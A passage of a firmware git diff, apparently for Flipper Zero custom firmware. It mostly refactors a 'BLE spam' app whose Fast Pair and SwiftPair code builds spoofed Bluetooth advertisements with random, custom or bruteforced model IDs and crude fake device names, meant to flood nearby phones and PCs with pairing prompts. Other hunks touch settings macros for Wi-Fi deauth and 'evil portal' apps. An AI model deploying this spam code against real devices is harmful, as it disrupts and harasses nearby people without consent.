"Model Code", models_count + 1, model_changed, payload); + const char* model_name = NULL; + char model_name_buf[9]; + switch(payload->mode) { + case PayloadModeRandom: + default: + model_name = "Random"; + value_index = 0; + break; + case PayloadModeValue: + for(uint8_t i = 0; i < models_count; i++) { + if(cfg->model == models[i].value) { + model_name = models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model); + model_name = model_name_buf; + value_index = models_count + 1; + } + break; + case PayloadModeBruteforce: + model_name = "Bruteforce"; + value_index = models_count + 1; + break; + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Requires Google services", 0, NULL, NULL); + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_count(const Payload* payload) { + UNUSED(payload); + return ConfigCOUNT - ConfigExtraStart - 1; +} + +const Protocol protocol_fastpair = { + .icon = &I_android, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, +}; + +static void model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + FastpairCfg* cfg = &payload->cfg.fastpair; + switch(index) { + case 0: + payload->mode = PayloadModeRandom; + scene_manager_previous_scene(ctx->scene_manager); + break; + case models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom); + break; + case models_count + 2: + payload->mode = PayloadModeBruteforce; + payload->bruteforce.counter = 0; + payload->bruteforce.value = cfg->model; + payload->bruteforce.size = 3; + scene_manager_previous_scene(ctx->scene_manager); + break; + default: + payload->mode = PayloadModeValue; + cfg->model = models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_fastpair_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + FastpairCfg* cfg = &payload->cfg.fastpair; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, model_callback, ctx); + if(payload->mode == PayloadModeRandom) { + selected = 0; + } + + bool found = false; + for(uint8_t i = 0; i < models_count; i++) { + submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx); + if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx); + if(!found && payload->mode == PayloadModeValue) { + selected = models_count + 1; + } + + submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx); + if(payload->mode == PayloadModeBruteforce) { + selected = models_count + 2; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_fastpair_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + FastpairCfg* cfg = &payload->cfg.fastpair; + payload->mode = PayloadModeValue; + cfg->model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_fastpair_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + FastpairCfg* cfg = &payload->cfg.fastpair; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_fastpair_model_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 46162fbc5..c989f3f13 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction typedef struct { - uint32_t model_id; + uint32_t model; } FastpairCfg; -extern const BleSpamProtocol ble_spam_protocol_fastpair; +extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h new file mode 100644 index 000000000..9bd0fd2ce --- /dev/null +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(fastpair_model, FastpairModel) +ADD_SCENE(fastpair_model_custom, FastpairModelCustom) diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 60d8808d4..63cc5404c 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -1,35 +1,40 @@ #include "swiftpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = &_cfg->swiftpair; - UNUSED(cfg); +const char* names[] = { + "Assquach💦", + "Flipper 🐬", + "iOS 17 🍎", + "Kink💦", + "👉👌", + "🔵🦷", +}; +const uint8_t names_count = COUNT_OF(names); + +static const char* get_name(const Payload* payload) { + UNUSED(payload); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) { + SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL; - const char* display_name; - if(cfg && cfg->display_name[0] != '\0') { - display_name = cfg->display_name; - } else { - const char* names[] = { - "Assquach💦", - "Flipper 🐬", - "iOS 17 🍎", - "Kink💦", - "👉👌", - "🔵🦷", - }; - display_name = names[rand() % COUNT_OF(names)]; + const char* name; + switch(cfg ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + name = names[rand() % names_count]; + break; + case PayloadModeValue: + name = cfg->name; + break; } - uint8_t display_name_len = strlen(display_name); + uint8_t name_len = strlen(name); - uint8_t size = 7 + display_name_len; + uint8_t size = 7 + name_len; uint8_t* packet = malloc(size); uint8_t i = 0; @@ -40,15 +45,91 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto packet[i++] = 0x03; // Microsoft Beacon ID packet[i++] = 0x00; // Microsoft Beacon Sub Scenario packet[i++] = 0x80; // Reserved RSSI Byte - memcpy(&packet[i], display_name, display_name_len); // Display Name - i += display_name_len; + memcpy(&packet[i], name, name_len); + i += name_len; *_size = size; *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_swiftpair = { - .icon = &I_windows, - .get_name = swiftpair_get_name, - .make_packet = swiftpair_make_packet, +enum { + _ConfigExtraStart = ConfigExtraStart, + ConfigName, + ConfigInfoRequire, + ConfigCOUNT, }; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); + break; + case ConfigInfoRequire: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void extra_config(Ctx* ctx) { + Payload* payload = &ctx->attack->payload; + SwiftpairCfg* cfg = &payload->cfg.swiftpair; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + + item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); + variable_item_set_current_value_text( + item, payload->mode == PayloadModeRandom ? "Random" : cfg->name); + + variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_count(const Payload* payload) { + UNUSED(payload); + return ConfigCOUNT - ConfigExtraStart - 1; +} + +const Protocol protocol_swiftpair = { + .icon = &I_windows, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, +}; + +static void name_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + payload->mode = PayloadModeValue; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_swiftpair_name_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + SwiftpairCfg* cfg = &payload->cfg.swiftpair; + TextInput* text_input = ctx->text_input; + text_input_reset(text_input); + + text_input_set_header_text(text_input, "Press back for random"); + + text_input_set_result_callback( + text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true); + + text_input_set_minimum_length(text_input, 0); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); +} +bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + if(event.type == SceneManagerEventTypeBack) { + payload->mode = PayloadModeRandom; + } + return false; +} +void scene_swiftpair_name_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index c3ef21540..e48f604a2 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -5,7 +5,7 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair typedef struct { - char display_name[25]; + char name[25]; } SwiftpairCfg; -extern const BleSpamProtocol ble_spam_protocol_swiftpair; +extern const Protocol protocol_swiftpair; diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h new file mode 100644 index 000000000..040802de3 --- /dev/null +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -0,0 +1 @@ +ADD_SCENE(swiftpair_name, SwiftpairName) diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h new file mode 100644 index 000000000..dbc035b54 --- /dev/null +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -0,0 +1,3 @@ +ADD_SCENE(main, Main) +ADD_SCENE(config, Config) +#include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c new file mode 100644 index 000000000..beaa4c4b2 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.c @@ -0,0 +1,30 @@ +#include "_setup.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(name, id) scene_##name##_on_enter, +void (*const scene_on_enter_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(name, id) scene_##name##_on_event, +bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(name, id) scene_##name##_on_exit, +void (*const scene_on_exit_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers scene_handlers = { + .on_enter_handlers = scene_on_enter_handlers, + .on_event_handlers = scene_on_event_handlers, + .on_exit_handlers = scene_on_exit_handlers, + .scene_num = SceneCOUNT, +}; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h new file mode 100644 index 000000000..fd665ac0b --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(name, id) Scene##id, +typedef enum { +#include "_scenes.h" + SceneCOUNT, +} Scene; +#undef ADD_SCENE + +extern const SceneManagerHandlers scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*); +#include "_scenes.h" +#undef ADD_SCENE diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c new file mode 100644 index 000000000..bc2fc83c3 --- /dev/null +++ b/applications/external/ble_spam/scenes/config.c @@ -0,0 +1,75 @@ +#include "../ble_spam.h" + +#include "protocols/_protocols.h" + +static void _config_bool(VariableItem* item) { + bool* value = variable_item_get_context(item); + *value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} +static void config_bool(VariableItemList* list, const char* name, bool* value) { + VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value); + variable_item_set_current_value_index(item, *value); + variable_item_set_current_value_text(item, *value ? "ON" : "OFF"); +} + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + if(!ctx->attack->protocol) { + index--; + } else if(ctx->attack->protocol->config_count) { + uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload); + if(index > extra) index -= extra; + } + + switch(index) { + case ConfigRandomMac: + break; + case ConfigLedIndicator: + break; + case ConfigLockKeyboard: + ctx->lock_keyboard = true; + scene_manager_previous_scene(ctx->scene_manager); + notification_message_block(ctx->notification, &sequence_display_backlight_off); + break; + default: + break; + } +} +void scene_config_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + VariableItemList* list = ctx->variable_item_list; + variable_item_list_reset(list); + + variable_item_list_set_header(list, ctx->attack->title); + + config_bool(list, "Random MAC", &ctx->attack->payload.random_mac); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + if(!ctx->attack->protocol) { + variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL); + } else if(ctx->attack->protocol->extra_config) { + ctx->fallback_config_enter = config_callback; + ctx->attack->protocol->extra_config(ctx); + } + + config_bool(list, "LED Indicator", &ctx->led_indicator); + + variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL); + + variable_item_list_set_selected_item( + list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); +} + +bool scene_config_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_config_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/scenes/main.c b/applications/external/ble_spam/scenes/main.c new file mode 100644 index 000000000..6d901e1fb --- /dev/null +++ b/applications/external/ble_spam/scenes/main.c @@ -0,0 +1,16 @@ +#include "../ble_spam.h" + +void scene_main_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain); +} + +bool scene_main_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_main_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/camera_suite/views/camera_suite_view_camera.h b/applications/external/camera_suite/views/camera_suite_view_camera.h index 4e2f29ddc..0267bf555 100644 --- a/applications/external/camera_suite/views/camera_suite_view_camera.h +++ b/applications/external/camera_suite/views/camera_suite_view_camera.h @@ -16,9 +16,8 @@ #include -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #pragma once diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c index 41015c21b..29d33b7df 100644 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -14,9 +14,8 @@ #include "FlipperZeroWiFiDeauthModuleDefines.h" -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define DEAUTH_APP_DEBUG 0 diff --git a/applications/external/esp_flasher/esp_flasher_uart.c b/applications/external/esp_flasher/esp_flasher_uart.c index b4b7928b8..98051c8e9 100644 --- a/applications/external/esp_flasher/esp_flasher_uart.c +++ b/applications/external/esp_flasher/esp_flasher_uart.c @@ -2,9 +2,8 @@ #include "esp_flasher_uart.h" #include -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define BAUDRATE (115200) struct EspFlasherUart { diff --git a/applications/external/esp_flasher/esp_flasher_worker.c b/applications/external/esp_flasher/esp_flasher_worker.c index be5da85db..5f191af6a 100644 --- a/applications/external/esp_flasher/esp_flasher_worker.c +++ b/applications/external/esp_flasher/esp_flasher_worker.c @@ -307,6 +307,9 @@ static int32_t esp_flasher_reset(void* context) { _setRTS(false); _initRTS(); + furi_hal_gpio_init_simple(&gpio_swclk, GpioModeOutputPushPull); + furi_hal_gpio_write(&gpio_swclk, true); + if(app->reset) { loader_port_debug_print("Resetting board\n"); loader_port_reset_target(); @@ -371,6 +374,13 @@ void loader_port_reset_target(void) { void loader_port_enter_bootloader(void) { // adapted from custom usb-jtag-serial reset in esptool // (works on official wifi dev board) + // Also support for the Multi-fucc and Xeon boards + furi_hal_gpio_write(&gpio_swclk, false); + furi_hal_power_disable_otg(); + loader_port_delay_ms(100); + furi_hal_power_enable_otg(); + furi_hal_gpio_init_simple(&gpio_swclk, GpioModeAnalog); + loader_port_delay_ms(100); _setDTR(true); loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); _setRTS(true); diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c index 6ef32673c..a391e71b2 100644 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c +++ b/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c @@ -85,7 +85,10 @@ static uint32_t timeout_per_mb(uint32_t size_bytes, uint32_t time_per_mb) esp_loader_error_t esp_loader_connect(esp_loader_connect_args_t *connect_args) { - loader_port_enter_bootloader(); + // if bootloader mode ever give issues, uncomment this function + // it shouldnt be needed because we enter bootloader mode before this function is called + // this function breaks bootloader mode for the Multi-fucc and Xeon + //loader_port_enter_bootloader(); RETURN_ON_ERROR(loader_initialize_conn(connect_args)); diff --git a/applications/external/evil_portal/evil_portal_app_i.h b/applications/external/evil_portal/evil_portal_app_i.h index 5fa6f62b8..0ba3ce1da 100644 --- a/applications/external/evil_portal/evil_portal_app_i.h +++ b/applications/external/evil_portal/evil_portal_app_i.h @@ -22,9 +22,8 @@ #define NUM_MENU_ITEMS (6) #define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096) -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define SET_HTML_CMD "sethtml" #define SET_AP_CMD "setap" diff --git a/applications/external/flipbip/application.fam b/applications/external/flipbip/application.fam index 0831ff432..2f36910ab 100644 --- a/applications/external/flipbip/application.fam +++ b/applications/external/flipbip/application.fam @@ -16,6 +16,6 @@ App( fap_category="Tools", fap_author="Struan Clark (xtruan)", fap_weburl="https://github.com/xtruan/FlipBIP", - fap_version=(1, 13), + fap_version=(1, 14), fap_description="Crypto wallet for Flipper", ) diff --git a/applications/external/flipbip/flipbip.c b/applications/external/flipbip/flipbip.c index 7a7237639..90abfb513 100644 --- a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -90,6 +90,22 @@ static void text_input_callback(void* context) { } } +static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) { + FlipBip* app = context; + if(result == DialogExResultRight) { + app->wallet_create(app); + } else { + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu); + } +} + +static void flipbip_wallet_create(void* context) { + FlipBip* app = context; + furi_assert(app); + scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); +} + FlipBip* flipbip_app_alloc() { FlipBip* app = malloc(sizeof(FlipBip)); app->gui = furi_record_open(RECORD_GUI); @@ -148,6 +164,17 @@ FlipBip* flipbip_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input)); + app->wallet_create = flipbip_wallet_create; + app->renew_dialog = dialog_ex_alloc(); + dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback); + dialog_ex_set_context(app->renew_dialog, app); + dialog_ex_set_left_button_text(app->renew_dialog, "No"); + dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); + dialog_ex_set_header( + app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + view_dispatcher_add_view( + app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); + // End Scene Additions return app; @@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) { view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput); submenu_free(app->submenu); + view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm); + dialog_ex_free(app->renew_dialog); + view_dispatcher_free(app->view_dispatcher); furi_record_close(RECORD_GUI); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 9f5994b80..12d910497 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -9,12 +9,13 @@ #include #include #include +#include #include #include #include "scenes/flipbip_scene.h" #include "views/flipbip_scene_1.h" -#define FLIPBIP_VERSION "v1.13" +#define FLIPBIP_VERSION "v1.14" #define COIN_BTC 0 #define COIN_DOGE 3 @@ -31,6 +32,7 @@ typedef struct { SceneManager* scene_manager; VariableItemList* variable_item_list; TextInput* text_input; + DialogEx* renew_dialog; FlipBipScene1* flipbip_scene_1; char* mnemonic_menu_text; // Settings options @@ -45,6 +47,8 @@ typedef struct { char passphrase_text[TEXT_BUFFER_SIZE]; char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; + + void (*wallet_create)(void* context); } FlipBip; typedef enum { @@ -53,6 +57,7 @@ typedef enum { FlipBipViewIdScene1, FlipBipViewIdSettings, FlipBipViewIdTextInput, + FlipBipViewRenewConfirm, } FlipBipViewId; typedef enum { @@ -86,3 +91,15 @@ typedef enum { FlipBipStatusSaveError = 12, FlipBipStatusMnemonicCheckError = 13, } FlipBipStatus; + +typedef enum { + SubmenuIndexScene1BTC = 10, + SubmenuIndexScene1ETH, + SubmenuIndexScene1DOGE, + SubmenuIndexScene1ZEC, + SubmenuIndexScene1New, + SubmenuIndexScene1Renew, + SubmenuIndexScene1Import, + SubmenuIndexSettings, + SubmenuIndexNOP, +} SubmenuIndex; diff --git a/applications/external/flipbip/icons/ButtonDown_10x5.png b/applications/external/flipbip/icons/ButtonDown_10x5.png deleted file mode 100644 index b492b926c..000000000 Binary files a/applications/external/flipbip/icons/ButtonDown_10x5.png and /dev/null differ diff --git a/applications/external/flipbip/icons/ButtonUp_10x5.png b/applications/external/flipbip/icons/ButtonUp_10x5.png deleted file mode 100644 index 5da99d01e..000000000 Binary files a/applications/external/flipbip/icons/ButtonUp_10x5.png and /dev/null differ diff --git a/applications/external/flipbip/scenes/flipbip_scene_menu.c b/applications/external/flipbip/scenes/flipbip_scene_menu.c index 928a002f7..53fb2a917 100644 --- a/applications/external/flipbip/scenes/flipbip_scene_menu.c +++ b/applications/external/flipbip/scenes/flipbip_scene_menu.c @@ -3,18 +3,8 @@ #define FLIPBIP_SUBMENU_TEXT "** FlipBIP wallet " FLIPBIP_VERSION " **" -enum SubmenuIndex { - SubmenuIndexScene1BTC = 10, - SubmenuIndexScene1ETH, - SubmenuIndexScene1DOGE, - SubmenuIndexScene1ZEC, - SubmenuIndexScene1New, - SubmenuIndexScene1Import, - SubmenuIndexSettings, - SubmenuIndexNOP, -}; - void flipbip_scene_menu_submenu_callback(void* context, uint32_t index) { + furi_assert(context); FlipBip* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } @@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) { submenu_add_item( app->submenu, "Regenerate wallet", - SubmenuIndexScene1New, + SubmenuIndexScene1Renew, flipbip_scene_menu_submenu_callback, app); } else { @@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexScene1New) { app->overwrite_saved_seed = 1; app->import_from_mnemonic = 0; - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); - scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); + app->wallet_create(app); + return true; + } else if(event.event == SubmenuIndexScene1Renew) { + app->overwrite_saved_seed = 1; + app->import_from_mnemonic = 0; + view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm); return true; } else if(event.event == SubmenuIndexScene1Import) { app->import_from_mnemonic = 1; diff --git a/applications/external/geiger/flipper_geiger.c b/applications/external/geiger/flipper_geiger.c index 58ab08b0e..102002e89 100644 --- a/applications/external/geiger/flipper_geiger.c +++ b/applications/external/geiger/flipper_geiger.c @@ -239,7 +239,8 @@ int32_t flipper_geiger_app() { if(event_status == FuriStatusOk) { if(event.type == EventTypeInput) { - if(event.input.key == InputKeyBack && event.input.type == InputTypeLong) { + if(event.input.key == InputKeyBack && + (event.input.type == InputTypeShort || event.input.type == InputTypeLong)) { break; } else if(event.input.key == InputKeyOk && event.input.type == InputTypeLong) { counter = 0; diff --git a/applications/external/gps_nmea_uart/gps.c b/applications/external/gps_nmea_uart/gps.c index 56fafbe50..c7d882d20 100644 --- a/applications/external/gps_nmea_uart/gps.c +++ b/applications/external/gps_nmea_uart/gps.c @@ -121,11 +121,8 @@ int32_t gps_app(void* p) { if(event.type == EventTypeKey) { if(event.input.type == InputTypeShort) { switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: case InputKeyBack: + processing = false; break; case InputKeyOk: if(!gps_uart->backlight_on) { diff --git a/applications/external/gps_nmea_uart/gps_uart.h b/applications/external/gps_nmea_uart/gps_uart.h index cddc37b17..428168a2d 100644 --- a/applications/external/gps_nmea_uart/gps_uart.h +++ b/applications/external/gps_nmea_uart/gps_uart.h @@ -4,9 +4,8 @@ #include #include -#define UART_CH \ - (XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH \ + (xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define RX_BUF_SIZE 1024 diff --git a/applications/external/nrf24batch/lib/nrf24/nrf24.c b/applications/external/nrf24batch/lib/nrf24/nrf24.c index e074860ed..dbc1c1966 100644 --- a/applications/external/nrf24batch/lib/nrf24/nrf24.c +++ b/applications/external/nrf24batch/lib/nrf24/nrf24.c @@ -9,10 +9,10 @@ void nrf24_init() { // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -30,9 +30,9 @@ void nrf24_deinit() { furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } } diff --git a/applications/external/nrf24batch/lib/nrf24/nrf24.h b/applications/external/nrf24batch/lib/nrf24/nrf24.h index 605513d4b..2fb249f68 100644 --- 